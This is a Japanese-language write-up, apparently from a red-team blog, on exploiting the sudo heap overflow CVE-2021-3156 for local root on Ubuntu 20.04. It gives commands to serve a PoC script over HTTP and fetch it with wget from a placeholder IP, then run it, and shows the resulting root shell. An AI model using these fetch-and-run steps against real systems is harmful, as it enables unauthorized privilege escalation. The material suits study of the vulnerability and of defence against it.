👑 CVE-2021-3156 (Baron Samedit) — sudo のヒープオーバーフローによる権限昇格

📅 日付: 2025-06-08
✍️ 著者: @TopskiyPavelQwertyGang 🧠 セキュリティリサーチャー | レッドチーム愛好家

---

🧠 CVE概要

• CVE-ID: CVE-2021-3156
• 種類: ヒープベースのバッファオーバーフロー
• コンポーネント: sudoedit (sudo)
• アクセスレベル: ローカル
• 目的: root権限の取得

---

🧠 説明

sudoedit におけるヒープオーバーフローにより、ローカルユーザーが事前に用意したパラメータで sudoedit コマンドを実行した際に root アクセスを取得できる。

エクスプロイトは sudo < 1.9.5p2 のバージョンで有効であり、一般的な Ubuntu/Debian/CentOS のイメージも含まれる。
ASLR が有効な場合でも、この脆弱性は悪用可能なままである。

---

🐾 悪用条件

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (脆弱)
ASLR   : 2 (有効)

---

🧪 環境の準備

1. glibc と sudo のバージョンを確認した:

ldd --version
sudo --version

2. 別マシンから組み込み HTTP サーバー経由で PoC スクリプトを転送した:

python3 -m http.server 80

3. ターゲットマシン上で PoC をダウンロードして実行する:

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

---

🚀 PoC の悪用成功

$ python3 exploit_nss.py
# whoami
root

---

🧾 結論

CVE-2021-3156 の悪用は、glibc ≥ 2.26 かつ脆弱なバージョンの sudo であれば、ASLR が有効な場合でも依然として可能である。
最も安定していたのはエクスプロイト exploit_nss.py であり、NSS の設定が正しければ一発で成功した。

🧨 システムは制御下にある。

---